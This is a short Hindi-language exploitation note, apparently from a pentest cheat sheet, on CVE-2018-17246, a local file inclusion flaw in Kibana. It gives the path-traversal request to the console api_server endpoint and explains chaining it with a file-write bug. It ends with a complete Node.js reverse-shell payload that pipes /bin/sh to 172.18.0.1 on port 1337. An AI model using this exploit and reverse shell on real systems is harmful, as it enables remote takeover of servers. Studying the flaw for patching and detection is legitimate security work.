
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Kibana पर एक स्थानीय फ़ाइल समावेशन CyberArk Labs द्वारा खोजा गया, LFI का उपयोग Kibana सर्वर पर रिवर्स शेल निष्पादित करने के लिए निम्नलिखित पेलोड के साथ किया जा सकता है:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
जैसा कि आपने पहले ही अनुमान लगा लिया है, इस हमले को एक अप्रतिबंधित फ़ाइल अपलोड या किसी अन्य भेद्यता के साथ जोड़ा जाना चाहिए जो आपको सर्वर पर फ़ाइल लिखने की अनुमति देता है।
कोई इनपुट सत्यापन नहीं है, इसलिए हम जावास्क्रिप्ट फ़ाइल का नाम बदल सकते हैं जो हम चाहते हैं। इस मामले में, पथ ट्रैवर्सल तकनीक के साथ, हम Kibana सर्वर पर कोई भी फ़ाइल चुन सकते हैं। हालांकि, एक बात जिससे अवगत रहना चाहिए वह है node की module caching सुविधा। मूलतः, चूंकि LFI unsanitized उपयोगकर्ता इनपुट को node के
requireफ़ंक्शन में भेजकर काम करता है, शामिल मॉड्यूल (हमलावर का पेलोड) filename द्वारा कैश किया जाएगा। इसका मतलब है कि आप उसी पेलोड को नहीं भेज सकते, उदाहरण के लिए, रिवर्स शेल पुनर्प्राप्त करने के लिए।

भेद्यता विवरण: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
सुरक्षा सलाहकार: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();